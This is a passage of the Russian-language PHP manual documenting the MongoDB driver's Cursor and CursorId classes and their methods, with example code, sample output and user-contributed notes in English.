  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\ReadConcern::unserialize() - Десериализация ReadConcern
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Десериализация ReadConcern

  • « MongoDB\Driver\ReadConcern::serialize
  • MongoDB\Driver\Cursor »
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Десериализация ReadConcern

MongoDB\Driver\ReadConcern::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadConcern::unserialize — Десериализация ReadConcern

Описание

final public MongoDB\Driver\ReadConcern::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\Driver\ReadConcern.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Бросает исключение MongoDB\Driver\Exception\UnexpectedValueException если возникла невозможно произвести десериализацию свойства, например если значение serialized не корректно.
  • Бросает исключение MongoDB\Driver\Exception\InvalidArgumentException если свойства не корректны, например пропущены поля или они имеют некорректные значения.

Смотрите также

  • MongoDB\Driver\ReadConcern::serialize() - Сериализация ReadConcern
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Cursor

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\Cursor содержит результаты команды MongoDB command или запроса и может быть возвращён MongoDB\Driver\Manager::executeCommand() или MongoDB\Driver\Manager::executeQuery() соответственно.

Обзор классов

final class MongoDB\Driver\Cursor implements MongoDB\Driver\CursorInterface, Iterator {
/* Методы */
final private __construct()
public current(): array|object|null
final public getId(): MongoDB\Driver\CursorId
final public getServer(): MongoDB\Driver\Server
final public isDead(): bool
public key(): int
public next(): void
public rewind(): void
final public setTypeMap(array $typemap): void
final public toArray(): array
public valid(): bool
}

Список изменений

Версия | Описание
PECL mongodb 1.9.0 | Реализует Iterator.
PECL mongodb 1.6.0 | Реализует MongoDB\Driver\CursorInterface, который наследует Traversable.

Примеры

Пример #1 Reading a result set

Как MongoDB\Driver\Manager::executeCommand(), так MongoDB\Driver\Manager::executeQuery(), возвращают свои результаты в виде объекта MongoDB\Driver\Cursor.

Поскольку MongoDB\Driver\Cursor реализует интерфейс Traversable, вы можете итерировать по набору результата с помощью foreach.

<?php

$manager = new MongoDB\Driver\Manager();

/* Вставить определённые документы, чтобы наш запрос вернул результаты */
$bulkWrite = new MongoDB\Driver\BulkWrite;
$bulkWrite->insert(['name' => 'Ceres', 'size' => 946, 'distance' => 2.766]);
$bulkWrite->insert(['name' => 'Vesta', 'size' => 525, 'distance' => 2.362]);
$manager->executeBulkWrite("test.asteroids", $bulkWrite);

/* Запрос на получение всех элементов в коллекции */
$query = new MongoDB\Driver\Query( [] );

/* Запрос коллекции "asteroids" базы данных "test" */
$cursor = $manager->executeQuery("test.asteroids", $query);

/* Теперь $cursor содержит объект, обёрнутый вокруг набора с результатом. Используйте
* foreach() для итеации по всему результату */
foreach ($cursor as $document) {
print_r($document);
}

?>

Результатом выполнения данного примера будет что-то подобное:

stdClass Object
(
    [_id] => MongoDB\BSON\ObjectId Object
        (
            [oid] => 5a4cff2f122d3321565d8cc2
        )

    [name] => Ceres
    [size] => 946
    [distance] => 2.766
)
stdClass Object
(
    [_id] => MongoDB\BSON\ObjectId Object
        (
            [oid] => 5a4cff2f122d3321565d8cc3
        )

    [name] => Vesta
    [size] => 525
    [distance] => 2.362
}

Пример #2 Чтение набора результатов для хвостового курсора

» Хвостовые курсоры - - это особый тип курсора MongoDB, который позволяет клиенту читать некоторые результаты, а затем ждать, пока не появятся дополнительные документы. Эти курсоры в основном используются с » Capped Collections и » Change Streams.

Хотя обычные курсоры можно итерировать один раз с помощью foreach, этот подход не будет работать с хвостовыми курсорами. Когда foreach используется с хвостовым курсором, цикл останавливается по достижении конца начального набора результатов. Попытка продолжить итерацию курсора со вторым foreach выбросить исключение, поскольку PHP пытается перемотать курсор. Подобно объектам результатов в других драйверах баз данных, курсоры в MongoDB поддерживают только итерацию вперёд, что означает, что они не могут быть перемотаны.

Для непрерывного считывания с хвостового курсора объект курсора должен быть завернут с помощью IteratorIterator. Это позволяет приложению напрямую управлять итерацией курсора, избегать непреднамеренного перемотки курсора и решать, когда ждать новых результатов или полностью прекратить итерацию.

Чтобы продемонстрировать хвостовой курсор в действии, будут использоваться два скрипта: "производитель" (producer) и "потребитель" (consumer). Скрипт продюсера создаст новую capped-коллекцию, используя команду » create и начнёт вставку нового документа в эту коллекцию каждую секунду.

<?php

$manager = new MongoDB\Driver\Manager;

$manager->executeCommand('test', new MongoDB\Driver\Command([
'create' => 'asteroids',
'capped' => true,
'size' => 1048576,
]));

while (true) {
$bulkWrite = new MongoDB\Driver\BulkWrite;
$bulkWrite->insert(['createdAt' => new MongoDB\BSON\UTCDateTime]);
$manager->executeBulkWrite('test.asteroids', $bulkWrite);

sleep(1);
}

?>

Когда скрипт продюсера (producer) всё ещё запущен, может быть выполнен второй пользовательский скрипт для чтения вставленных документов с помощью хвостового (tailable) курсора, обозначенного параметрами tailable и awaitData для MongoDB\Driver\Query::__construct().

<?php

$manager = new MongoDB\Driver\Manager;

$query = new MongoDB\Driver\Query([], [
'tailable' => true,
'awaitData' => true,
]);

$cursor = $manager->executeQuery('test.asteroids', $query);

$iterator = new IteratorIterator($cursor);

$iterator->rewind();

while (true) {
if ($iterator->valid()) {
$document = $iterator->current();
printf("Пользовательский документ создан: %s\n", $document->createdAt);
}

$iterator->next();
}

?>

Пользовательский скрипт начнёт с быстрой печати всех доступных документов в заблокированной коллекции (как если бы использовался foreach); однако при достижении конца начального набора результатов он не завершится. Так как курсор является хвостовым, вызов IteratorIterator::valid() будет блокировать и ждать дополнительных результатов. IteratorIterator::valid() также используется для проверки наличия на каждом этапе данных, доступных для чтения.

Замечание: В этом примере используется опция запроса awaitData, чтобы проинструктировать сервер блокировать в течение короткого периода (например, одну секунду) в конце набора результатов перед возвратом ответа драйверу. Это используется для предотвращения агрессивного опроса (polling) сервера при отсутствии результатов. Параметр maxAwaitTimeMS может использоваться в сочетании с tailable и awaitData, чтобы указать время, которое сервер должен блокировать, когда он достигнет конца набора результатов.

Ошибки

При итерации по объекту курсора данные BSON преобразуются в переменные PHP. Эта итерация может вызвать следующие исключения:

  • Выбрасывает MongoDB\Driver\Exception\InvalidArgumentException, если класс на карте типов не может быть создан или не реализует MongoDB\BSON\Unserializable.
  • Исключение MongoDB\Driver\Exception\UnexpectedValueException выбрасывается, если входные данные не являются ровно одним документом BSON. Возможные причины включают, но не ограничены некорректным BSON, лишними данными или неожиданной ошибкой » libbson.

Содержание

  • MongoDB\Driver\Cursor::__construct — Создаёт новый объект Cursor (не используется)
  • MongoDB\Driver\Cursor::current — Возвращает текущий элемент
  • MongoDB\Driver\Cursor::getId — Возвращает идентификатор для курсора
  • MongoDB\Driver\Cursor::getServer — Возвращает сервер, связанный с курсором
  • MongoDB\Driver\Cursor::isDead — Проверяет, исчерпан ли курсор или может содержать дополнительные результаты
  • MongoDB\Driver\Cursor::key — Возвращает индекс текущего результата в курсоре
  • MongoDB\Driver\Cursor::next — Перемещает курсор на следующий результат
  • MongoDB\Driver\Cursor::rewind — Перемещает курсор к первому результату
  • MongoDB\Driver\Cursor::setTypeMap — Устанавливает карту типа для десериализации BSON
  • MongoDB\Driver\Cursor::toArray — Возвращает массив, содержащий все результаты курсора
  • MongoDB\Driver\Cursor::valid — Проверяет, корректна ли текущая позиция курсора

User Contributed Notes

cg at papoo dot de 08-Sep-2021 04:29
Since php-mongodb version 1.9.0 Cursor implements Iterator, but if you need to support older versions too, you can conditionally wrap the cursor with IteratorIterator:

<?php
$iterator = $collection->find();

if (!($iterator implements Iterator)) {
  $iterator = new \IteratorIterator($iterator);
}
?>
peichi40233 at gmail dot com 02-Apr-2017 09:32
There used to be a count() method in the old mongo extension (http://docs.php.net/manual/en/mongocursor.count.php), however, this feature seems to be deleted in mongodb.

I've seen some people use executeCommand() to do that, but I found it much more earier to just use the toArray() method and count the returned array.

For example:
$manager = new MongoDB\Driver\Manager();
$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query)->toArray();
var_dump(count($cursor));
tdrpic 14-Jul-2016 08:03
If you find that it would be easier to use arrays (instead of objects) for the returned documents, add the following after executing your query:

$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);
mikemartin2016 at gmail dot com 17-Feb-2016 08:47
I noticed that  ->sort is missing from the cursor.  Seems like the old driver has more functionality.

[red.: The way how cursors are created is different between the drivers. In the old driver, the cursor would not be created until after the first rewind() call on the iterator.

In the new driver the cursor already exists. Because sort (and limit and skip) parameters need to be send to the server, they can not be called after the cursor already has been created.

You can use sort (and limit and skip) with the new driver as well, by specifying them as options to the Query as shown in this example: http://php.net/manual/en/mongodb-driver-query.construct.php#refsect1-mongodb-driver-query.construct-examples]
max-p at max-p dot me 12-Feb-2016 01:29
As one might notice, this class does not implement a hasNext() or next() method as opposed to the now deprecated Mongo driver.

If, for any reason, you need to pull data from the cursor procedurally or otherwise need to override the behavior of foreach while iterating on the cursor, the SPL \IteratorIterator class can be used. When doing so, it is important to rewind the iterator before using it, otherwise you won't get any data back.

<?php
$cursor = $collection->find();
$it = new \IteratorIterator($cursor);
$it->rewind(); // Very important

while($doc = $it->current()) {
    var_dump($doc);
    $it->next();
}
?>

I used this trick to build a backward compatibility wrapper emulating the old Mongo driver in order to upgrade an older codebase.


Создаёт новый объект Cursor (не используется)

  • « MongoDB\Driver\Cursor
  • MongoDB\Driver\Cursor::current »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Создаёт новый объект Cursor (не используется)

MongoDB\Driver\Cursor::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::__construct — Создаёт новый объект Cursor (не используется)

Описание

final private MongoDB\Driver\Cursor::__construct()

Объекты MongoDB\Driver\Cursor возвращаются в результате выполнения команды или запроса и не могут быть созданы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных
  • MongoDB\Driver\Manager::executeQuery() - Выполняет запрос к базе данных
  • MongoDB\Driver\Server::executeCommand() - Выполнить команду базы данных на сервере
  • MongoDB\Driver\Server::executeQuery() - Выполняет запрос к базе данных на сервере

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент

  • « MongoDB\Driver\Cursor::__construct
  • MongoDB\Driver\Cursor::getId »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Возвращает текущий элемент

MongoDB\Driver\Cursor::current

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::current — Возвращает текущий элемент

Описание

public MongoDB\Driver\Cursor::current(): array|object|null

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий документ в виде массива или объекта, в зависимости от настроек курсора. Если итерация не была начата, либо текущая позиция не корректна, будет возвращён null.

Смотрите также

  • Iterator::current() - Возврат текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор для курсора

  • « MongoDB\Driver\Cursor::current
  • MongoDB\Driver\Cursor::getServer »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Возвращает идентификатор для курсора

MongoDB\Driver\Cursor::getId

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::getId — Возвращает идентификатор для курсора

Описание

final public MongoDB\Driver\Cursor::getId(): MongoDB\Driver\CursorId

Возвращает MongoDB\Driver\CursorId, связанный с этим курсором. Идентификатор курсора однозначно идентифицирует курсор на сервере.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\CursorId для курсора.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Cursor::getId()

<?php

/* В этом примере мы добавляем несколько документов в коллекцию и указываем
* меньший batchSize, чтобы гарантировать, что первая порция содержит только
* подмножество наших результатов и курсор остаётся открытым на сервере. */
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([], ['batchSize' => 2]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump($cursor->getId());

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\CursorId)#5 (1) {
  ["id"]=>
  int(94810124093)
}

Смотрите также

  • MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::__toString() - Строковое представление идентификатора курсора

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер, связанный с курсором

  • « MongoDB\Driver\Cursor::getId
  • MongoDB\Driver\Cursor::isDead »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Возвращает сервер, связанный с курсором

MongoDB\Driver\Cursor::getServer

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::getServer — Возвращает сервер, связанный с курсором

Описание

final public MongoDB\Driver\Cursor::getServer(): MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server, связанный с курсором. Это сервер, который выполнил MongoDB\Driver\Query или MongoDB\Driver\Command.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server, связанный с курсором.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Cursor::getServer()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump($cursor->getServer());

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\Server)#5 (10) {
  ["host"]=>
  string(9) "localhost"
  ["port"]=>
  int(27017)
  ["type"]=>
  int(1)
  ["is_primary"]=>
  bool(false)
  ["is_secondary"]=>
  bool(false)
  ["is_arbiter"]=>
  bool(false)
  ["is_hidden"]=>
  bool(false)
  ["is_passive"]=>
  bool(false)
  ["last_hello_response"]=>
  array(8) {
    ["isWritablePrimary"]=>
    bool(true)
    ["maxBsonObjectSize"]=>
    int(16777216)
    ["maxMessageSizeBytes"]=>
    int(48000000)
    ["maxWriteBatchSize"]=>
    int(1000)
    ["localTime"]=>
    object(MongoDB\BSON\UTCDateTime)#6 (1) {
      ["milliseconds"]=>
      int(1446505367907)
    }
    ["maxWireVersion"]=>
    int(3)
    ["minWireVersion"]=>
    int(0)
    ["ok"]=>
    float(1)
  }
  ["round_trip_time"]=>
  int(584)
}

Смотрите также

  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, исчерпан ли курсор или может содержать дополнительные результаты

  • « MongoDB\Driver\Cursor::getServer
  • MongoDB\Driver\Cursor::key »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Проверяет, исчерпан ли курсор или может содержать дополнительные результаты

MongoDB\Driver\Cursor::isDead

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::isDead — Проверяет, исчерпан ли курсор или может содержать дополнительные результаты

Описание

final public MongoDB\Driver\Cursor::isDead(): bool

Проверяет, нет ли у курсора дополнительных результатов. Этот метод аналогичен методу » cursor.isExhausted() в оболочке MongoDB и в первую очередь полезен при выполнении итерации » хвостовых курсоров.

Курсор не имеет дополнительных результатов и считается "мёртвым", если выполняется одно из следующих условий:

  • Текущий пакет был полностью повторён и идентификатор курсора равен нулю (то есть » getMore не может быть выполнен).
  • Произошла ошибка при итерации курсора.
  • Курсор достиг своего установленного предела.

Преднамеренно не всегда возможно определить, имеет ли курсор дополнительные результаты. Случаи, когда курсор может иметь больше доступных данных, следующие:

  • В текущем пакете есть дополнительные документы, которые буферизируются на стороне клиента. Итерация извлечёт документ из локального буфера.
  • В текущем пакете нет дополнительных документов (то есть локального буфера), но идентификатор курсора не равен нулю. Итерация будет запрашивать больше документов с сервера с помощью операции » getMore, которая может возвращать или не возвращать дополнительные результаты и/или указывать, что курсор был закрыт на сервере, возвращая ноль для его идентификатора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если курсор не содержит никаких дополнительных результатов и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Cursor::isDead()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);

$iterator = new IteratorIterator($cursor);

$iterator->rewind();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(false)
bool(true)

Смотрите также

  • » Хвостовые курсоры в руководстве MongoDB
  • » cursor.isExhausted() в руководстве MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущего результата в курсоре

  • « MongoDB\Driver\Cursor::isDead
  • MongoDB\Driver\Cursor::next »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Возвращает индекс текущего результата в курсоре

MongoDB\Driver\Cursor::key

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::key — Возвращает индекс текущего результата в курсоре

Описание

public MongoDB\Driver\Cursor::key(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой индекс текущего результата в курсоре.

Смотрите также

  • Iterator::key() - Возвращает ключ текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещает курсор на следующий результат

  • « MongoDB\Driver\Cursor::key
  • MongoDB\Driver\Cursor::rewind »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Перемещает курсор на следующий результат

MongoDB\Driver\Cursor::next

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::next — Перемещает курсор на следующий результат

Описание

public MongoDB\Driver\Cursor::next(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сдвигает текущую позицию к следующему результату в курсоре.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.

Смотрите также

  • Iterator::next() - Переходит к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Перемещает курсор к первому результату

  • « MongoDB\Driver\Cursor::next
  • MongoDB\Driver\Cursor::setTypeMap »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Перемещает курсор к первому результату

MongoDB\Driver\Cursor::rewind

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::rewind — Перемещает курсор к первому результату

Описание

public MongoDB\Driver\Cursor::rewind(): void

Если курсор продвинулся дальше своей первой позиции, то его переместить к первому результату уже не получится.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

null.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Бросает исключение MongoDB\Driver\Exception\LogicException если метод был вызван после продвижения курсора дальше своей первой позиции.

Смотрите также

  • Iterator::rewind() - Возвращает итератор на первый элемент

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает карту типа для десериализации BSON

  • « MongoDB\Driver\Cursor::rewind
  • MongoDB\Driver\Cursor::toArray »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Устанавливает карту типа для десериализации BSON

MongoDB\Driver\Cursor::setTypeMap

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::setTypeMap — Устанавливает карту типа для десериализации BSON

Описание

final public MongoDB\Driver\Cursor::setTypeMap(array $typemap): void

Устанавливает конфигурацию карты типов, которая будет использоваться при десериализации результатов BSON в значения PHP.

Список параметров

typeMap (array)

Конфигурация карты типов.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

При итерации по курсору может выбрасываться следующие исключения из-за неправильной конфигурации карты типов:

  • Выбрасывает MongoDB\Driver\Exception\InvalidArgumentException, если класс на карте типов не может быть создан или не реализует MongoDB\BSON\Unserializable.

Примеры

Пример #1 Пример использования MongoDB\Driver\Cursor::setTypeMap()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$id = $bulk->insert(['x' => 1]);
$manager->executeBulkWrite('db.collection', $bulk);

$query = new MongoDB\Driver\Query(['_id' => $id]);
$cursor = $manager->executeQuery('db.collection', $query);
$cursor->setTypeMap(['root' => 'array']);

foreach ($cursor as $document) {
var_dump($document);
}

?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["_id"]=>
  object(MongoDB\BSON\ObjectId)#6 (1) {
    ["oid"]=>
    string(24) "56424fb76118fd3267180741"
  }
  ["x"]=>
  int(1)
}

Смотрите также

  • Постоянные данные

User Contributed Notes

tdrpic 14-Jul-2016 07:59
If you would prefer to have the results returned as an associative array, after executing your query you could call $cursor->setTypeMap like this:

$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);


Возвращает массив, содержащий все результаты курсора

  • « MongoDB\Driver\Cursor::setTypeMap
  • MongoDB\Driver\Cursor::valid »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Возвращает массив, содержащий все результаты курсора

MongoDB\Driver\Cursor::toArray

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::toArray — Возвращает массив, содержащий все результаты курсора

Описание

final public MongoDB\Driver\Cursor::toArray(): array

Итерирует курсор и возвращает его результаты в виде массива. MongoDB\Driver\Cursor::setTypeMap() может использоваться для управления тем, как документы десериализованы в значение PHP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив (array), содержащий все результаты курсора.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Cursor::toArray()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$query = new MongoDB\Driver\Query([]);
$cursor = $manager->executeQuery('db.collection', $query);

var_dump($cursor->toArray());

?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  object(stdClass)#6 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#5 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf61"
    }
    ["x"]=>
    int(1)
  }
  [1]=>
  object(stdClass)#8 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#7 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf62"
    }
    ["x"]=>
    int(2)
  }
  [2]=>
  object(stdClass)#10 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#9 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf63"
    }
    ["x"]=>
    int(3)
  }
}

Смотрите также

  • MongoDB\Driver\Cursor::setTypeMap() - Устанавливает карту типа для десериализации BSON

User Contributed Notes

284743576 at qq dot com 19-Oct-2017 05:52
$cursor = $manager->executeQuery('db.collection', $query);
$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);
return $cursor->toArray();


Проверяет, корректна ли текущая позиция курсора

  • « MongoDB\Driver\Cursor::toArray
  • MongoDB\Driver\CursorId »
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Проверяет, корректна ли текущая позиция курсора

MongoDB\Driver\Cursor::valid

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::valid — Проверяет, корректна ли текущая позиция курсора

Описание

public MongoDB\Driver\Cursor::valid(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если позиция корректна и false, если нет.

Смотрите также

  • Iterator::valid() - Проверяет корректность текущей позиции

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\CursorId

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\CursorID - объект значения, который представляет идентификатор курсора. Экземпляры этого класса возвращаются MongoDB\Driver\Cursor::getId().

Обзор классов

final class MongoDB\Driver\CursorId implements Serializable, Stringable {
/* Методы */
final private __construct()
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.7.0 | Реализует Serializable.

Содержание

  • MongoDB\Driver\CursorId::__construct — Создаёт новый объект CursorId (не используется)
  • MongoDB\Driver\CursorId::serialize — Сериализация CursorId
  • MongoDB\Driver\CursorId::__toString — Строковое представление идентификатора курсора
  • MongoDB\Driver\CursorId::unserialize — Десериализация CursorId

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект CursorId (не используется)

  • « MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::serialize »
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Создаёт новый объект CursorId (не используется)

MongoDB\Driver\CursorId::__construct

(mongodb >=1.0.0)

MongoDB\Driver\CursorId::__construct — Создаёт новый объект CursorId (не используется)

Описание

final private MongoDB\Driver\CursorId::__construct()

Объекты MongoDB\Driver\CursorId возвращаются из MongoDB\Driver\Cursor::getId() и не могут созданы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\Driver\Cursor::getId() - Возвращает идентификатор для курсора

User Contributed Notes

There are no user contributed notes for this page.


Сериализация CursorId

  • « MongoDB\Driver\CursorId::__construct
  • MongoDB\Driver\CursorId::__toString »
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Сериализация CursorId

MongoDB\Driver\CursorId::serialize

(mongodb >=1.7.0)

MongoDB\Driver\CursorId::serialize — Сериализация CursorId

Описание

final public MongoDB\Driver\CursorId::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\Driver\CursorId.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\CursorId::unserialize() - Десериализация CursorId
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Строковое представление идентификатора курсора

  • « MongoDB\Driver\CursorId::serialize
  • MongoDB\Driver\CursorId::unserialize »
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Строковое представление идентификатора курсора

MongoDB\Driver\CursorId::__toString

(mongodb >=1.0.0)

MongoDB\Driver\CursorId::__toString — Строковое представление идентификатора курсора

Описание

final public MongoDB\Driver\CursorId::__toString(): string

Возвращает идентификатор курсора в виде строки (string).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор курсора в виде строки (string).

Примеры

Пример #1 Пример использования MongoDB\Driver\CursorId::__toString()

<?php

/* В этом примере мы добавляем документы в коллекцию и указываем
* меньший batchSize, чтобы гарантировать, что первая порция содержит только подмножество
* наших результатов и курсор остаётся открытым на сервере. */
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([], ['batchSize' => 2]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump((string) $cursor->getId());

?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "98061641158"

Смотрите также

  • MongoDB\Driver\Cursor::getId() - Возвращает идентификатор для курсора

User Contributed Notes

There are no user contributed notes for this page.


Десериализация CursorId

  • « MongoDB\Driver\CursorId::__toString
  • MongoDB\Driver\CursorInterface »
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Десериализация CursorId

MongoDB\Driver\CursorId::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\CursorId::unserialize — Десериализация CursorId

Описание

final public MongoDB\Driver\CursorId::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\Driver\CursorId.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Бросает исключение MongoDB\Driver\Exception\UnexpectedValueException если возникла невозможно произвести десериализацию свойства, например если значение serialized не корректно.
  • Бросает исключение MongoDB\Driver\Exception\InvalidArgumentException если свойства не корректны, например пропущены поля или они имеют некорректные значения.

Смотрите также

  • MongoDB\Driver\CursorId::serialize() - Сериализация CursorId
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\Driver\CursorInterface

(mongodb >=1.6.0)

Введение

